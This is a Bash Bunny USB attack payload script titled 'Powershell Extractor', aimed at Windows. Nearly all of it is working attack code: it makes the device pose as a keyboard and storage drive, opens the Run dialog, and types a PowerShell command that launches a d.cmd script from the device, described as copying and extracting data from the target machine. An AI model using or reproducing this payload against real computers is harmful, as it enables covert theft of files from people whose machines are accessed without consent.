#!/bin/bash
#
# Title:         Powershell Extractor
# Author:        $irLurk$alot
# Version:       1.0
# Targets:       Windows
# Attack Modes:  HID, STORAGE
# Description: Executes d.cmd from the selected switch folder of the Bash Bunny USB Disk partition,
#              which in turn runs powershell script to copy move and extract data.
#
# LEDS:
# Magenta: Setting Up
# Yellow Blink: Executing Powershell
# Green: Finished

LED SETUP

GET SWITCH_POSITION

ATTACKMODE HID STORAGE
QUACK GUI r
QUACK DELAY 100
LED ATTACK
QUACK STRING powershell ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\d.cmd')"
QUACK ENTER
LED FINISH
